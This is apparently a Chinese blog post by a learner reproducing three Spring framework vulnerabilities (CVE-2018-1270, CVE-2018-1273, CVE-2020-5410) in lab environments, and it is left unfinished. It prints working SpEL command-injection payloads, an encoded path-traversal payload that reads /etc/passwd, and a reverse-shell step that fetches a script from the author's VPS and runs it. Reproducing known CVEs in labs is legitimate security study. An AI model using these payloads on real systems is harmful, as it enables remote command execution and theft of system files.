Spring框架漏洞合集

前言

上周用了一周的时间把java基础部分看完了(也就是能看懂代码),打算把常见java框架的漏洞

Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响范围

SpringFramework 5.0 ~ 5.0.4,4.3 ~ 4.3.14,以及停止维护的更老版本均受影响

漏洞复现

环境主页:
Spring框架漏洞合集
spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

STOMP协议:将数据组合成一个文本流。
sockjs协议:发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。

执行的SpEL表达式,如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')

访问/gs-guide-websocket:

使用作者给出的POC

即可执行命令。

说明:这里不做演示,作者给出的说明很完善。

Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围

Spring Data Commons 1.13至1.13.10(Ingalls SR10)
Spring Data REST 2.6至2.6.10(Ingalls SR10)
Spring Data Commons 2.0至2.0.5(Kay SR5)
Spring Data REST 3.0至3.0.5(Kay SR5)
较旧的不受支持的版本也会受到影响

漏洞复现

环境主页:
Spring框架漏洞合集

注册用户进行抓包:

payload:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword= 

Spring框架漏洞合集
结果:
Spring框架漏洞合集
反弹shell:

首先在vps上开启http服务,并编写bash反弹脚本:

Spring框架漏洞合集

抓包执行命令,下载该脚本:

/usr/bin/wget -P 目录 脚本网址  curl -L url -o <filePath> 

然后使用/bin/bash执行该脚本即可,但是我这里一直下载不了。烦死了…

Spring Cloud Config 目录穿越漏洞(CVE-2020-5410)

环境搭建

下载 v2.2.2 版本并解压:

wget https://github.com/spring-cloud/spring-cloud-config/archive/v2.2.2.RELEASE.tar.gz tar -zxvf v2.2.2.RELEASE.tar.gz 

安装启动:

cd spring-cloud-config-2.2.2.RELEASE/spring-cloud-config-server ../mvnw spring-boot:run 

查看是否启动成功(默认8888端口):

spring cloud config 

或者使用docker进行搭建:

docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE docker run -it --name=spring-cloud-config-server  -p 8888:8888  hyness/spring-cloud-config-server:2.1.6.RELEASE  --spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo 
Spring框架漏洞合集

影响版本

Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8

漏洞复现

主页:
Spring框架漏洞合集
payload:

/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/ddd 

这里不知道为什么,payload打不了,所以又换了个环境:

http://vulfocus.fofa.so/

Spring框架漏洞合集

心态炸了,不写了,找到一片文章,写的很详细:
Spring框架漏洞复现笔记

版权声明:玥玥 发表于 2021-07-26 19:10:35。
转载请注明:Spring框架漏洞合集 | 女黑客导航